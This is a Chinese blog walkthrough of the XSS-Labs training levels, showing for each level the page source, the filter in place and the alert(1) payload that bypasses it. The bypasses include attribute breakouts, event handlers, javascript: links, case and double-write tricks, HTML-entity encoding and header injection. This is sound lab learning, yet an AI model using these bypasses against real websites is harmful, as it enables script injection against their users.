XSS-Libs通关详解

前面写过几关,接下来就直接写思路了,不贴过多图了

xss的技巧就是找输入输出

Less1

  • 开局先看到了get参数,而且和图片上面显示的一模一样

  • 我们可以试试这里是不是可以进行xss注入

  • 修改get参数:

    • <script>alert(1)</script>
      
  • 通关

Less2__htmlspecialchars()绕过

  • 看见输入框就得暗自一笑,特别是正上面还有它的输出(不知道是不是,是不是试试就知道是不是了呗)

  • 反手一个

    • <script>alert(1)</script>
      
  • 闹着玩呢,上面正常回显了,但是没执行,我们查看源码,看看是不是哪被过滤了

  • 源码如下:

    • <!DOCTYPE html><!--STATUS OK--><html>
      <head>
      <meta http-equiv="content-type" content="text/html;charset=utf-8">
      <script>
      window.alert = function()  
      {     
      confirm("完成的不错!");
       window.location.href="level3.php?writing=wait"; 
      }
      </script>
      <title>欢迎来到level2</title>
      </head>
      <body>
      <h1 align=center>欢迎来到level2</h1>
      <h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>
      <form action=level2.php method=GET>
      <input name=keyword  value="<script>alert(1)</script>">
      <input type=submit name=submit value="搜索"/>
      </form>
      </center><center><img src=level2.png></center>
      <h3 align=center>payload的长度:25</h3></body>
      </html>
      
  • 眼尖的小伙伴已经看到了,回显位被过滤掉了,过滤了<>,具体是怎么过滤的呢

  • htmlspecialchars()函数

    定义和用法

    htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。

    预定义的字符是:

    • & (和号)成为 &
    • " (双引号)成为 "
    • ’ (单引号)成为 ’
    • < (小于)成为 <
    • > (大于)成为 >

    **提示:**要把特殊的 HTML 实体转换回字符,请使用 htmlspecialchars_decode() 函数。

    .

    语法

    htmlspecialchars(string,flags,character-set,double_encode)

    参数描述
    string必需。规定要转换的字符串。
    flags可选。规定如何处理引号、无效的编码以及使用哪种文档类型。可用的引号类型:ENT_COMPAT - 默认。仅编码双引号。ENT_QUOTES - 编码双引号和单引号。ENT_NOQUOTES - 不编码任何引号。无效的编码:ENT_IGNORE - 忽略无效的编码,而不是让函数返回一个空的字符串。应尽量避免,因为这可能对安全性有影响。ENT_SUBSTITUTE - 把无效的编码替代成一个指定的带有 Unicode 替代字符 U+FFFD(UTF-8)或者 &#FFFD; 的字符,而不是返回一个空的字符串。ENT_DISALLOWED - 把指定文档类型中的无效代码点替代成 Unicode 替代字符 U+FFFD(UTF-8)或者 &#FFFD;。规定使用的文档类型的附加 flags:ENT_HTML401 - 默认。作为 HTML 4.01 处理代码。ENT_HTML5 - 作为 HTML 5 处理代码。ENT_XML1 - 作为 XML 1 处理代码。ENT_XHTML - 作为 XHTML 处理代码。
    character-set可选。一个规定了要使用的字符集的字符串。允许的值:UTF-8 - 默认。ASCII 兼容多字节的 8 位 UnicodeISO-8859-1 - 西欧ISO-8859-15 - 西欧(加入欧元符号 + ISO-8859-1 中丢失的法语和芬兰语字母)cp866 - DOS 专用 Cyrillic 字符集cp1251 - Windows 专用 Cyrillic 字符集cp1252 - Windows 专用西欧字符集KOI8-R - 俄语BIG5 - 繁体中文,主要在台湾使用GB2312 - 简体中文,国家标准字符集BIG5-HKSCS - 带香港扩展的 Big5Shift_JIS - 日语EUC-JP - 日语MacRoman - Mac 操作系统使用的字符集**注释:**在 PHP 5.4 之前的版本,无法被识别的字符集将被忽略并由 ISO-8859-1 替代。自 PHP 5.4 起,无法被识别的字符集将被忽略并由 UTF-8 替代。
    double_encode可选。一个规定了是否编码已存在的 HTML 实体的布尔值。TRUE - 默认。将对每个实体进行转换。FALSE - 不会对已存在的 HTML 实体进行编码。
  • balabala这么多,总之我们理解一个意思即可:就是把< > ’ " &转码了,具体转码的谁,可以输入看看输出

  • 这下麻烦了,过滤了怎么办呢,其实绕过方法好多种,我们暂且由浅入深的去学叭

  • 我们观察源码,发现下面还有一行代码竟然完美的输出了我们的payload

  • 但是为什么不执行呢,那是因为我们需要去构造闭合,你哪见过包裹的字符串会被解析执行呢

  • 很简单,直接上payload

    • "> <script>alert(1)</script>//
      
  • 通关

  • 原理如下

    • <input name=keyword  value=""> <script>alert(1)</script>//">
      
    • 前面构造闭合,后面注释

Less3__onclick绕过

  • 有输入框,无输出,而且还有个get参数

  • 我们先随便输入个东西看看输出点再说

  • 反手一个

    • <script>alert(1)</script>
      
  • 必然的不会被解析执行了

  • 老规矩,看看源代码

    • <!DOCTYPE html><!--STATUS OK--><html>
      <head>
      <meta http-equiv="content-type" content="text/html;charset=utf-8">
      <script>
      window.alert = function()  
      {     
      confirm("完成的不错!");
       window.location.href="level4.php?keyword=try harder!"; 
      }
      </script>
      <title>欢迎来到level3</title>
      </head>
      <body>
      <h1 align=center>欢迎来到level3</h1>
      <h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>
      <form action=level3.php method=GET>
      <input name=keyword  value='&lt;script&gt;alert(1)&lt;/script&gt;'>
      <input type=submit name=submit value=搜索 />
      </form>
      </center><center><img src=level3.png></center>
      <h3 align=center>payload的长度:25</h3></body>
      </html>
      
  • 这和上一关简直一模一样,唯独的区别就是,上一关的通关方式也被过滤掉咯

  • 完犊子,<>两个符号是用不得咯

  • 那么就换个方法呗

  • 我们用事件

  • 事件是什么?

  • 贴个链接去瞅瞅:https://www.runoob.com/js/js-events.html

  • 好多事件喔,我们挑个最简单的去绕过吧,就用onclick

  • 语法:

    • onclick=""
      
  • 构造payload:

    • ' onclick="alert(1)" 
      
  • 我去!!!还是不行,查看源代码。

  • 发现双引号被过滤掉了,怪不得那个value的闭合方式要用单引号呢

  • 简单,我们也用单引号呗

  • 继续构造payload

    • ' οnclick='alert(1)'
      
  • 输完之后点提交,然后点一下输入框触发事件

  • 成功

  • 原理

    • <input name=keyword  value='' onclick='alert(1)''>
      
    • 前面构造闭合,增加点击事件

Less4__onclick绕过

  • 有输入有输出,谁不喜欢呢

  • 反手一个

    • <script>alert(1)</script>
      
  • 当然不会有反应咯,老规矩,查看源代码

    • <!DOCTYPE html><!--STATUS OK--><html>
      <head>
      <meta http-equiv="content-type" content="text/html;charset=utf-8">
      <script>
      window.alert = function()  
      {     
      confirm("完成的不错!");
       window.location.href="level5.php?keyword=find a way out!"; 
      }
      </script>
      <title>欢迎来到level4</title>
      </head>
      <body>
      <h1 align=center>欢迎来到level4</h1>
      <h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>
      <form action=level4.php method=GET>
      <input name=keyword  value="scriptalert(1)/script">
      <input type=submit name=submit value=搜索 />
      </form>
      </center><center><img src=level4.png></center>
      <h3 align=center>payload的长度:21</h3></body>
      </html>
      
  • 审计,哈哈哈用个高大上的词

  • 我们发现上面依旧是过滤了

  • 但是下面那一行更奇怪,这次的过滤是直接把我的<>给去掉了。。。

  • 活学活用,那就onclick()绕过一下

  • 构造payload:

    • " οnclick="alert(1)"
      
  • 无语,竟然直接绕过了

  • 成功

  • 那肯定是有别的方法的,不然这个题出的有什么意义

  • 具体什么方法,先不管,我们且往下做,就会发现绕过的一百个姿势哈哈哈

Less5__<a> 标签绕过

  • 输入输出,不错不错

  • 老规矩

    • <script>alert(1)</script>
      
  • 源代码

    • <!DOCTYPE html><!--STATUS OK--><html>
      <head>
      <meta http-equiv="content-type" content="text/html;charset=utf-8">
      <script>
      window.alert = function()  
      {     
      confirm("完成的不错!");
       window.location.href="level6.php?keyword=break it out!"; 
      }
      </script>
      <title>欢迎来到level5</title>
      </head>
      <body>
      <h1 align=center>欢迎来到level5</h1>
      <h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>
      <form action=level5.php method=GET>
      <input name=keyword  value="<scr_ipt>alert(1)</script>">
      <input type=submit name=submit value=搜索 />
      </form>
      </center><center><img src=level5.png></center>
      <h3 align=center>payload的长度:26</h3></body>
      </html>
      
  • 上面依旧被htmlspecialchars()函数过滤

  • 下面这次来了个scr_ipt,无语了

  • 我们试试onclik

    • " οnclick="alert(1)"
      
    • <input name=keyword  value="" o_nclick="alert(1)"">
      
  • 好家伙,onclick也给过滤

  • 那么我们就请出新的解法吧

  • 尊贵的a标签,其实就是超链接

  • 普及知识:https://www.runoob.com/html/html-links.html

  • 语法

    • <a href="www.baidu.com" >xxx</a>
      
  • 单这一个有什么用呢,点一下跳转别的地方去了,没啥卵用

  • 这时候就要引入另一个JavaScript的特性了

  • 参考:https://www.runoob.com/js/js-void.html

  • 语法

    • void func()
      javascript:void func()
      <a href="javascript:void(0)">单击此处什么也不会发生</a>
      <a href="javascript:void(alert('Warning!!!'))">点我!</a>
      
    • 简而言之,就是可以通过这种形式去执行某个函数,方便吧

  • 那么我们可以简化一下(为了方便测试哈)

    • javascript:alert(1)
      
  • 构造payload:

    • "> <a href="javascript:alert(1)" >xxx</a> //
      
  • 点击xxx

  • 成功

  • 原理:

    • <input name=keyword  value=""> <a href="javascript:alert(1)" >xxx</a> //">
      

Less6__大小写绕过

  • 输入

    • <script>alert(1)</script>
      
  • 源代码

    • <!DOCTYPE html><!--STATUS OK--><html>
      <head>
      <meta http-equiv="content-type" content="text/html;charset=utf-8">
      <script>
      window.alert = function()  
      {     
      confirm("完成的不错!");
       window.location.href="level7.php?keyword=move up!"; 
      }
      </script>
      <title>欢迎来到level6</title>
      </head>
      <body>
      <h1 align=center>欢迎来到level6</h1>
      <h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>
      <form action=level6.php method=GET>
      <input name=keyword  value="<scr_ipt>alert(1)</script>">
      <input type=submit name=submit value=搜索 />
      </form>
      </center><center><img src=level6.png></center>
      <h3 align=center>payload的长度:26</h3></body>
      </html>
      
  • 依旧是过滤了script

  • 我们试试onclick和href

  • 输入

    • onclick   href
      
  • 发现都被过滤掉了

  • 只能换别的方法咯

  • 试试大小写绕过

  • 输入

    • <Script>alert(1)</Script>
      
  • 没被过滤

  • 构造payload

    • "> <Script>alert(1)</Script> //
      
  • 通关

  • 原理

    • html对大小写不敏感

Less7__双写绕过

  • 输入

    • <script>alert(1)</script>
      
  • 源代码

    • <!DOCTYPE html><!--STATUS OK--><html>
      <head>
      <meta http-equiv="content-type" content="text/html;charset=utf-8">
      <script>
      window.alert = function()  
      {     
      confirm("完成的不错!");
       window.location.href="level8.php?keyword=nice try!"; 
      }
      </script>
      <title>欢迎来到level7</title>
      </head>
      <body>
      <h1 align=center>欢迎来到level7</h1>
      <h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>
      <form action=level7.php method=GET>
      <input name=keyword  value="<>alert(1)</>">
      <input type=submit name=submit value=搜索 />
      </form>
      </center><center><img src=level7.png></center>
      <h3 align=center>payload的长度:13</h3></body>
      </html>
      
  • script直接消失了,哈哈哈

  • 这个好解决,双写一下jiuok

  • 我们这样写

    • <scrscriptipt>alert(1)</scrscriptipt>
      
  • 原理很简单嘛,你把中间那个消掉了,我旁边的刚好又凑成一对

  • 上payload

    • "> <scrscriptipt>alert(1)</scrscriptipt> //
      
  • 通关

  • 前几关的方法行不行,有兴趣可以试试

Less8__编码绕过

  • 输入

    • <script>alert(1)</script>
      
  • 源代码

    • <!DOCTYPE html><!--STATUS OK--><html>
      <head>
      <meta http-equiv="content-type" content="text/html;charset=utf-8">
      <script>
      window.alert = function()  
      {     
      confirm("完成的不错!");
       window.location.href="level9.php?keyword=not bad!"; 
      }
      </script>
      <title>欢迎来到level8</title>
      </head>
      <body>
      <h1 align=center>欢迎来到level8</h1>
      <center>
      <form action=level8.php method=GET>
      <input name=keyword  value="&lt;script&gt;alert(1)&lt;/script&gt;">
      <input type=submit name=submit value=添加友情链接 />
      </form>
      </center><center><BR><a href="<scr_ipt>alert(1)</scr_ipt>">友情链接</a></center><center><img src=level8.jpg></center>
      <h3 align=center>payload的长度:27</h3></body>
      </html>
      
  • 这一关有意思,给了我们一个href

  • 但是script被过滤了,我们试试大小写

    • JAVASCRIPT:alert(1)
      
  • 不行,全被转小写了,然后过滤掉了

  • 我们试试onclick

    • " onclikc="alert(1)"
      
    • </center><center><BR><a href="&quot o_nclikc=&quotalert(1)&quot">友情链接</a></center><center><img src=level8.jpg></center>
      
  • 我们发现双引号过滤,onclick过滤

  • 上网搜了搜,发现了一种思路,是采用html实体编码

  • 知识普及:

    HTML标签中的某些属性值可以使用 &#ASCII方式进行编码改写,并且支持十进制和十六进制。例如将 中的javascript:alert(‘xss’)进行编码:

    &#十进制ASCII: javascript:alert('xss')

    额,我这个上面显示不出来,因为那个编码自动被解析为html实体了,但是点击可以查看

    参考:https://blog.csdn.net/phpdadao/article/details/22871559

    https://baike.baidu.com/item/HTML%E5%AE%9E%E4%BD%93

  • 具体怎么去转码,一个个查ASCII码表,然后前面再加上 &# 就太费劲了

  • 格式:

    &#十六进制;

  • 简单写几行python代码实现一下

#字符转html实体

str=input("输入个字符串吧:")
#十进制
for i in str:
    print(f'&#{ord(i)};',end='')

print()
#十六进制
for i in str:
    print(f'&#{hex(ord(i))};',end='')
  • payload:

    • &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)
      

Less9__编码绕过

  • 输入
<script>alert(1)</script>
  • 发现被过滤掉了
  • 过滤是最基本的,打开源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level10.php?keyword=well done!"; 
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<center>
<form action=level9.php method=GET>
<input name=keyword  value="&lt;script&gt;alert(1)&lt;/script&gt;">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center>
<h3 align=center>payload的长度:27</h3></body>
</html>
  • 我们发现输入的链接不合法,那么我们就看看怎样才算合法

  • 我们分别输入

    • www.baidu.com
      
    • http://www.baidu.com
      
  • 发现前面的不合法,后面合法,我们猜测可能是对http关键词做了检测

  • 那么我们试一下注入

javascript:alert(1)http://www.baidu.com
  • 返回
<a href="javascr_ipt:alert(1)http://www.baidu.com">友情链接</a>
  • 观察发现,script或者javascript被过滤,但是值得注意的是没有提示不合法链接
  • 那么我们试试大小写绕过
  • 发现还是过滤了
  • 我们采用上一关的编码绕过,对scrip进行html实体编码
  • payload:
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)//http://www.baidu.com
  • 注意要把后面的给注释掉,不然就执行不了,因为语法错误

Less10

  • 我们发现除了get参数以外,其它没有地方可以输入了
  • 我们先输入个
<script>alert(1)</script>
  • 查看源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level11.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
</form>
</center><center><img src=level10.png></center>
<h3 align=center>payload的长度:25</h3></body>
</html>
  • 观察发现,被htmlspecialchars()过滤
  • 但是下面竟然有三个输入框,只不过都被隐藏了,我们对它们进行注入试试,看看哪个有变化
  • payload:
111&t_link=111&t_history=111&t_sort=111
  • 查看源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level11.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<h2 align=center>没有找到和111相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="111" type="hidden">
</form>
</center><center><img src=level10.png></center>
<h3 align=center>payload的长度:3</h3></body>
</html>
  • 果然有一个做出了响应
  • 我们在这里进行注入试试
  • payload:
111&t_sort=" οnclick="alert(1)" type="text
  • 输入框显示,点击通关

Less11__请求头referer注入

  • 和上一关挺像的,但是注入之后发现都被过滤掉了
  • 不过发现f12直接进行源代码的修改也可以直接通关
  • 还有另一种方法
  • 我们先看源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level12.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<h2 align=center>没有找到和相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="asdad" type="hidden">
<input name="t_ref"  value="http://a711ac4f-313a-4e0b-a80a-dbd66d814181.node4.buuoj.cn:81/level11.php?t_link=&t_history=dasda&t_sort=asdad&t_ref=http%3A%2F%2Fa711ac4f-313a-4e0b-a80a-dbd66d814181.node4.buuoj.cn%3A81%2Flevel11.php%3Fkeyword%3Dgood%2520job%21" type="hidden">
</form>
</center><center><img src=level11.png></center>
<h3 align=center>payload的长度:0</h3></body>
</html>
  • 发现这次多了个输入框,但是输入的内容是一个链接
  • 这个输入框的名字叫做 t_ref
  • 我们有点能联想到http的请求头中的referer字段了
  • 先看看那个链接是哪里,搜索后发现是第十关
  • 而referer的信息就是给服务器传输当前请求是从哪个页面的uri发起的,那么,如果我们刷新一下这个页面,是不是这个value的值就会变为第十一关的uri呢
  • 刷新之后,发现我们的猜想是正确的,那么说明我们可以对referer进行注入,burp抓包进行修改即可

Less12__User-Agent注入

  • 查看源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level13.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<h2 align=center>没有找到和aaa相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
<input name="t_ua"  value="Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 SLBrowser/8.0.0.10171 SLBChan/25" type="hidden">
</form>
</center><center><img src=level12.png></center>
<h3 align=center>payload的长度:3</h3></body>
</html>
  • 一眼就看到了User-Agent的信息,说明这道题可以在这进行注入

Less13__Cookie注入

  • 和之前一样,抓包修改

Less14

  • 题目有问题,做不了

Less15__ng-include

  • 第十五关加载的有点慢
  • 进入之后,先查看一下源代码
<html ng-app>
<head>
        <meta charset="utf-8">
        <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level16.php?keyword=test"; 
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<body><span class="ng-include:'level15.png'"></span></body>

  • 这一关可能是网站本身的问题吧,没有成功
  • 主要考察了:ng-include
  • 参考:https://www.runoob.com/angularjs/ng-ng-include.html
  • 类似于php include文件包含漏洞

Less16__字符过滤

  • 经典一句话先试试
  • 发现被过滤
  • /,空格,等都被过滤了
  • 所以我们需要使用不需要闭合的标签,并且不能使用空格
  • 不使用空格就使用回车呗
  • payload:
?keyword=<img%0asrc=1%0aonerror=alert(1)>
  • %0a是回车的url编码
  • onerror事件:https://www.runoob.com/jsref/event-onerror-media.html

Less17

  • 不支持插件,写不了

Less18

  • 同上

后面几关都不会写,可能是没有flash的原因,那玩意麻烦死了不想下了,之前下了个玩4399,到最后还是不会玩,估计是浏览器不支持啥的

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

henghengzhao_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值